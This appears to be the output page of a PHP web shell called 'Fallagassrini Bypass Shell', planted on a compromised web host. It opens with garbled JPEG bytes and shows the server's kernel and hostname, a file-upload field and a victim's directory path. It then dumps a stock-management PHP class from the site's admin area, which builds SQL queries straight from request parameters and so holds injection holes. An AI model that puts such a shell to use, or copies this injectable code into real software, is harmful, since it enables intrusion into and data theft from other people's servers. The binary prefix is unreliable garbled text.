JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/easwari/www/admin/includes/classes/

Linux 141.162.178.68.host.secureserver.net 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Upload File :
Current File : /home/easwari/www/admin/includes/classes/class.stock_mngmnt.php

<?php
#####Class For Adding Content Management ######
class stock_mngmnt extends MysqlFns{
 
 /* class constructor */
 function stock_mngmnt(){
 $this->LDDisplayPath= $config['SiteGlobalPath']."class.stock_mngmnt.php";
  global $config,$objSmarty;
  $this->MysqlFns();
  $this->Limit = 15;
   $this->Keyword = '';
  $this->Operator = '';
  $this->PerPage = '';

 }
 
 
 
  /*Roles list */
 
 function RolesLists(){
	global $objSmarty;
	 $SelQuery1	= 'SELECT role_name FROM arka_group_mapping WHERE `group_name` = "'.$_SESSION['USER_GROUP'].'" AND `record_status` <> 0 ORDER BY sl_no';
	  $RList		= $this->ExecuteQuery($SelQuery1, "select");
		
  if(!empty($RList) && is_array($RList))
   foreach($RList as $key=>$value){
    $RList[$key]['role_id'] = stripslashes($RList[$key]['role_id']);
	$RList[$key]['role_name'] = stripslashes($RList[$key]['role_name']);
	$objSmarty->assign('RList', $RList);
  return $RList;
		} 
//return true;
	}
 
 

 
 
  /* Get the Static Content list */
 	function GetStockInwardView($objArray='')  {
		global $objSmarty,$config;
	$tbl = $config['DBPrefix'];
		$objSmarty->assign('c_id',$_GET['stck_id']);
		$SelQuery = 'SELECT * FROM `arka_inward_master` WHERE inward_entry_id ="'.$_GET['inward_entry_id'].'"' ;
		//echo $SelQuery;
		$LDList		= $this->ExecuteQuery($SelQuery, "select");
		$total_records = count($LDList);
		$record_per_page = $this->Limit;
		
		$objSmarty->assign("TList1",$_GET['cust_id']);
		/*$LDList[0]['title'] 		= stripslashes($LDList[0]['title']);
		$LDList[1]['txttitle'] 		= stripslashes($LDList[1]['txttitle']);
		$LDList[2]['image'] 		= stripslashes($LDList[2]['image']);*/
		 if(!empty($LDList) && is_array($LDList))
		{
			$objSmarty->assign("LDList2",$LDList);
			$objSmarty->assign("LDDisp", $this->LDDisplayPath);
			return $LDList2;
		}
		else{
			return false;
		}
		$objPage->set_page_data($_SERVER['PHP_SELF'],$total_records,$record_per_page,$scroll,true,true,true);
		$listing_split = new MsplitPageResults($SelQuery, $this->Limit);
		
		if ( ($listing_split->number_of_rows > 0) )  
		{
			$objSmarty->assign('LinkPage',$listing_split->display_count(TEXT_DISPLAY_NUMBER_OF_RESULT));
			$objSmarty->assign('PerPageNavigation',TEXT_RESULT_PAGE1 . ' ' . $listing_split->display_links($this->Limit, get_all_get_params(array('page', 'info', 'x', 'y')))); 
			$PageList = $this->ExecuteQuery($listing_split->SelQuery, 'selectassoc');
		}
		if(!empty($PageList) && is_array($PageList))
			foreach($PageList as $key=>$value)
			{
				$PageList[$key]['Cid'] = stripslashes($PageList[$key]['customer_id']);
				$PageList[$key]['Cname'] = stripslashes($PageList[$key]['customer_name']);
				$objSmarty->assign('Cid',$PageList[$key]['customer_id']);
				$objSmarty->assign('Cname',$PageList[$key]['customer_name']);
			}		
			$objSmarty->assign('i', $listing_split->i);
			$objSmarty->assign('PageList', $PageList);
			echo $PageList;
			return $PageList;
	}	
 
 function viewLevels($objArray)
	{
	global $objSmarty,$_POST,$config;
	$SelQuery = 'SELECT * FROM `arka_level_master` WHERE status="1" ' ;
	$LevelList		= $this->ExecuteQuery($SelQuery, "select");
    $objSmarty->assign('LevelList', $LevelList);
		
	}
 
  /* Edit the Static Page */
 function EditStockLocation($objArray){
  global $objSmarty;

 $ct = $objArray['levels']."/".$objArray['columns']."/".$objArray['rows'];
 $ct2 = $objArray['levels2']."/".$objArray['columns2']."/".$objArray['rows2'];
 $ct3 = $objArray['levels3']."/".$objArray['columns3']."/".$objArray['rows3'];
 $ct4 = $objArray['levels4']."/".$objArray['columns4']."/".$objArray['rows4'];
 $ct5 = $objArray['levels5']."/".$objArray['columns5']."/".$objArray['rows5'];
 $data= $ct. ' , ' .$ct2.' , '.$ct3.' , '.$ct4.' , '.$ct5;
 
  $SelQuery = 'SELECT * FROM `arka_stock_master` WHERE record_status = "1" AND inward_entry_id ="'.$objArray['inward_id'].'"  ' ;
		$StockView		= $this->ExecuteQuery($SelQuery, "select");
        $objSmarty->assign('StockView', $StockView);
//echo $objArray['levels'];echo $objArray['levels2'];echo $objArray['location1_prev'];

 if(($objArray['levels']!='0')&& ($objArray['levels2']=='0')){
   echo 	$UpQuery = 'UPDATE `arka_stock_master` SET `location` = "'.$ct.'" WHERE `inward_entry_id` ="'.$objArray['inward_id'].'" AND location="'.$objArray['location1_prev'].'"';exit;//$this->ExecuteQuery($UpQuery, 'update');
     }
     else
     {
      if(($objArray['levels']!='0') && ($objArray['levels2']!='0') && ($objArray['levels3']=='0')){
  echo $UpQuery2 = 'UPDATE `arka_stock_master` SET `location` = "'.$ct.'",`location2` = "'.$ct2.'" WHERE `inward_entry_id` ="'.$objArray['inward_id'].'"  AND location="'.$objArray['location1_prev'].'"  AND location2="'.$objArray['location2_prev'].'"';exit;
	$this->ExecuteQuery($UpQuery2, 'update');
	  }
      else
      {
	    if(($objArray['levels']!='0') && ($objArray['levels2']!='0') && ($objArray['levels3']!='0')&& ($objArray['levels4']=='0')){
       echo 	$UpQuery3 = 'UPDATE `arka_stock_master` SET `location` = "'.$ct.'",`location2` = "'.$ct2.'", `location3` = "'.$ct3.'" WHERE `inward_entry_id` ="'.$objArray['inward_id'].'"  AND location="'.$objArray['location1_prev'].'" AND location2="'.$objArray['location2_prev'].'"  AND location3="'.$objArray['location3_prev'].'"';exit;
$this->ExecuteQuery($UpQuery3, 'update');
         }
	   else
	   {
	   if(($objArray['levels']!='0') && ($objArray['levels2']!='0') && ($objArray['levels3']!='0')&&($objArray['levels4']!='0')){
 echo $UpQuery4 = 'UPDATE `arka_stock_master` SET `location` = "'.$ct.'",`location2` = "'.$ct2.'", `location3` = "'.$ct3.'",`location4` = "'.$ct4.'" WHERE `inward_entry_id` ="'.$objArray['inward_id'].'"  AND location="'.$objArray['location1_prev'].'" AND location2="'.$objArray['location2_prev'].'" AND location3="'.$objArray['location3_prev'].'" AND location4="'.$objArray['location4_prev'].'"';exit;
	$this->ExecuteQuery($UpQuery4, 'update');
       }
	   else
	   {
	    if(($objArray['levels']!='0') && ($objArray['levels2']!='0') && ($objArray['levels3']!='0')&&($objArray['levels4']!='0')&&($objArray['levels5']!='0')){
 echo  $UpQuery5 = 'UPDATE `arka_stock_master` SET `location` = "'.$ct.'",`location2` = "'.$ct2.'", `location3` = "'.$ct3.'",`location4` = "'.$ct4.'",`location5` = "'.$ct5.'" WHERE `inward_entry_id` ="'.$objArray['inward_id'].'"   AND location="'.$objArray['location1_prev'].'" AND location2="'.$objArray['location2_prev'].'" AND location3="'.$objArray['location3_prev'].'" AND location4="'.$objArray['location4_prev'].'" AND location5="'.$objArray['location5_prev'].'"';exit;
	$this->ExecuteQuery($UpQuery5, 'update');
        }
		else
	   {
	   header('Location:' .$_SERVER['PHP_SELF'].'?server_error=error&inward_entry_id='.$_GET['inward_entry_id']);
	   return false;
	   }
	  }
	  }
	  }
	  }
	  
header('Location:' .$_SERVER['PHP_SELF'].'?server_response=success&inward_entry_id='.$_GET['inward_entry_id']);
	return true;
	 
 }
 /***********************************************************stok Edit***********************************************/

 function EditStock($objArray){
  global $objSmarty,$_REQUEST;


   if(!empty($objArray['ConId']) && is_array($objArray['ConId']))
   {
   
    
   		foreach($objArray['ConId'] as $value)
		{

   if(!$objArray[$value]['material_type_edit']){
    $objSmarty->assign('ErrorMessage_on_edit', 'Material Type should be selected properly');
	return false;
   }elseif(!$objArray[$value]['material_category_edit']){
    $objSmarty->assign('ErrorMessage_on_edit', 'Material Category should be selected properly');
	return false;
   }elseif(!$objArray[$value]['material_code_edit']){
    $objSmarty->assign('ErrorMessage_on_edit', 'Material Code should not be blank');
	return false;
   }elseif(!$objArray[$value]['material_specification_edit']){
    $objSmarty->assign('ErrorMessage_on_edit', 'Material Specification should not be blank');
	return false;
   }elseif(!$objArray[$value]['material_name_edit']){
    $objSmarty->assign('ErrorMessage_on_edit', 'Material Name should not be blank');
	return false;
   }elseif(!$objArray[$value]['price_edit']){
    $objSmarty->assign('ErrorMessage_on_edit', 'Price should not be blank');
	return false;
   }elseif(!$objArray[$value]['quantity_edit']){
    $objSmarty->assign('ErrorMessage_on_edit', 'Quantity should not be blank');
	return false;
   }
		
		

   	$UpQuery = 'UPDATE `arka_stock_master` SET `material_type` = "'.$objArray[$value]['material_type_edit'].'", `material_category` = "'.$objArray[$value]['material_category_edit'].'",`material_code` = "'.$objArray[$value]['material_code_edit'].'", `material_specification` = "'.$objArray[$value]['material_specification_edit'].'", `material_name` = "'.$objArray[$value]['material_name_edit'].'", `price` = "'.$objArray[$value]['price_edit'].'", `quantity` = "'.$objArray[$value]['quantity_edit'].'" WHERE `sl_no` ="'.$value.'"';
	$this->ExecuteQuery($UpQuery, 'update');
	$objSmarty->assign('SuccessMessage_on_edit', 'Inward Details Updated Successfully');
	$this->GetInwardDetailsView();
	return true;
		
		
   }
   
	
  }
  else
  $objSmarty->assign('ErrorMessage_on_edit', 'Please select a check box to update');
		

 } 
 /*********************************************************  stock Detail   **************************************/
 function GetStockDetails($objArray=''){
 global $objSmarty;
		 $SelQuery = 'SELECT * FROM `arka_stock_master` WHERE record_status = "1" AND inward_entry_id ="'.$_GET['inward_entry_id'].'"  ' ;
		$StockView		= $this->ExecuteQuery($SelQuery, "select");
        $objSmarty->assign('StockView', $StockView);
 }
 
 
 
 
  /* Get the Static Content list */
 function GetStockLists($objArray=''){
  global $objSmarty;

  //$objSmarty->assign('title',$_GET['title']);
 $whereClause = 'WHERE `record_status`="1" ORDER BY sl_no'; 
  
  if($_POST['search'] == ''){
  			if($_POST['material_name'])
	   			$whereClause = ' WHERE (`material_name` like "%'.$_POST['material_name'].'%") ORDER BY sl_no';	
	   		elseif($_POST['material_code'])
	   			$whereClause = ' WHERE (`material_code` like "%'.$_POST['material_code'].'%") ORDER BY sl_no';				
			elseif($_POST['material_type'])
				$whereClause = ' WHERE (`material_type` like "%'.$_POST['material_type'].'%") ORDER BY sl_no';
			elseif($_POST['material_category'])
				$whereClause = ' WHERE (`material_category` like "%'.$_POST['material_category'].'%")  ORDER BY sl_no';
			elseif($_POST['quantity'])
				$whereClause = ' WHERE (`quantity` like "%'.$_POST['quantity'].'%")  ORDER BY sl_no';
			elseif($_POST['unit_price'])
				$whereClause = ' WHERE (`unit_price` like "%'.$_POST['unit_price'].'%")  ORDER BY sl_no';
			elseif($_POST['total'])
				$whereClause = ' WHERE (`total` like "%'.$_POST['total'].'%")  ORDER BY sl_no';
			elseif($_POST['status'])
				$whereClause = ' WHERE (`status` like "%'.$_POST['status'].'%")  ORDER BY sl_no';																
				
/*   $objSmarty->assign('customer_id',$_POST['customer_id']);
   $objSmarty->assign('customer_name',$_POST['customer_name']);
   $objSmarty->assign('customer_type',$_POST['customer_type']);
   $objSmarty->assign('category',$_POST['category']);
   $objSmarty->assign('address1',$_POST['address1']);
   $objSmarty->assign('city',$_POST['city']);
   $objSmarty->assign('state',$_POST['state']);
   $objSmarty->assign('contact_person',$_POST['contact_person']);
   $objSmarty->assign('mobile',$_POST['mobile']);
   $objSmarty->assign('email',$_POST['email']);
   $objSmarty->assign('status',$_POST['status']);
   $objSmarty->assign('account_manager',$_POST['account_manager']);
   $objSmarty->assign('delivery_manager',$_POST['delivery_manager']);*/
   
  }
  $SelQuery		= 'SELECT * FROM `arka_stock_master`'.$whereClause;
  $listing_split = new MsplitPageResults($SelQuery, $this->Limit);
  if ( ($listing_split->number_of_rows > 0) )  {
   $objSmarty->assign('LinkPage',$listing_split->display_count(TEXT_DISPLAY_NUMBER_OF_RESULT));
   $objSmarty->assign('PerPageNavigation',TEXT_RESULT_PAGE1 . ' ' . $listing_split->display_links_submit($this->Limit, get_all_get_params(array('page', 'info', 'x', 'y')))); 
   $PageList = $this->ExecuteQuery($listing_split->sql_query, 'selectassoc');
   
  }
/*  if(!empty($PageList) && is_array($PageList))

   foreach($PageList as $key=>$value){
    $PageList[$key]['ID'] = stripslashes($PageList[$key]['customer_id']);
	$PageList[$key]['Cname'] = stripslashes($PageList[$key]['customer_name']);
	$PageList[$key]['Ctype'] = stripslashes($PageList[$key]['customer_type']);
	$PageList[$key]['Ccategory'] = stripslashes($PageList[$key]['category']);
	$PageList[$key]['Cadd'] = stripslashes($PageList[$key]['address1']);
	$PageList[$key]['Ccity'] = stripslashes($PageList[$key]['city']);
	$PageList[$key]['Cstate'] = stripslashes($PageList[$key]['state']);
	$PageList[$key]['Ccontact'] = stripslashes($PageList[$key]['contact_person']);
	$PageList[$key]['Cmobile'] = stripslashes($PageList[$key]['mobile']);
	$PageList[$key]['Cemail'] = stripslashes($PageList[$key]['email']);
	$PageList[$key]['Cstatus'] = stripslashes($PageList[$key]['status']);
	$PageList[$key]['Caccount'] = stripslashes($PageList[$key]['account_manager']);
	$PageList[$key]['Cdelivery'] = stripslashes($PageList[$key]['delivery_manager']);
	
	 if($PageList[$key]['Cstatus'] == 1){
	 $PageList[$key]['Cstatus'] ='Active';
	}
	elseif($PageList[$key]['Cstatus'] == 0){
	 $PageList[$key]['Cstatus'] ='InActive';
	}
   }*/

  $objSmarty->assign('i', $listing_split->i);
  $objSmarty->assign('PageList', $PageList);
  return $PageList;
 
}
 
  function GetStockSearch($objArray=''){
  global $objSmarty;
   
  $SelQuery		= 'SELECT * FROM `arka_stock_master` WHERE `material_code` like "%'.trim(addslashes($objArray['m_code'])).'%" AND `record_status`="1" ';
  $listing_split		= $this->ExecuteQuery($SelQuery, "select");
  $objSmarty->assign('listing_split', $listing_split);
  return $listing_split;
 
}
 
function GetInwardDetailsView($objArray='') 
  {
		global $objSmarty;
		$objSmarty->assign('c_id',$_GET['stck_id']);
		$SelQuery = 'SELECT * FROM `arka_inward_details` WHERE inward_entry_id ="'.$_GET['stck_id'].'"' ;
		//echo $SelQuery;
		$LDList		= $this->ExecuteQuery($SelQuery, "select");
		$total_records = count($LDList);
		$record_per_page = $this->Limit;
		
		$objSmarty->assign("TList1",$_GET['cust_id']);
		/*$LDList[0]['title'] 		= stripslashes($LDList[0]['title']);
		$LDList[1]['txttitle'] 		= stripslashes($LDList[1]['txttitle']);
		$LDList[2]['image'] 		= stripslashes($LDList[2]['image']);*/
		 if(!empty($LDList) && is_array($LDList))
		{
			$objSmarty->assign("LDList_details_tbl",$LDList);
			$objSmarty->assign("LDDisp", $this->LDDisplayPath);
			return $LDList2;
		}
		else{
			return false;
		}
		$objPage->set_page_data($_SERVER['PHP_SELF'],$total_records,$record_per_page,$scroll,true,true,true);
		$listing_split = new MsplitPageResults($SelQuery, $this->Limit);
		
		if ( ($listing_split->number_of_rows > 0) )  
		{
			$objSmarty->assign('LinkPage',$listing_split->display_count(TEXT_DISPLAY_NUMBER_OF_RESULT));
			$objSmarty->assign('PerPageNavigation',TEXT_RESULT_PAGE1 . ' ' . $listing_split->display_links($this->Limit, get_all_get_params(array('page', 'info', 'x', 'y')))); 
			$PageList = $this->ExecuteQuery($listing_split->SelQuery, 'selectassoc');
		}
		if(!empty($PageList) && is_array($PageList))
			foreach($PageList as $key=>$value)
			{
				$PageList[$key]['Cid'] = stripslashes($PageList[$key]['customer_id']);
				$PageList[$key]['Cname'] = stripslashes($PageList[$key]['customer_name']);
				$objSmarty->assign('Cid',$PageList[$key]['customer_id']);
				$objSmarty->assign('Cname',$PageList[$key]['customer_name']);
			}		
			$objSmarty->assign('i', $listing_split->i);
			$objSmarty->assign('PageList', $PageList);
			echo $PageList;
			return $PageList;
	}	
 //*****************************************
 
   function ChkDupliCust($c_id){
  global $objSmarty;
  if(!empty($c_id))
 // $WhereClause	= ' AND `id` != '.$Ident;
  $SelQuery2		= 'SELECT * FROM `arka_inward_master` WHERE `inward_entry_id` = "'.$c_id.'" Limit 0,1';
  $CusDetail		= $this->ExecuteQuery($SelQuery2, 'select');
  if(!empty($CusDetail) && is_array($CusDetail))
   return false;
  else
   return true;
 }
 

 
 
 }
 ?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net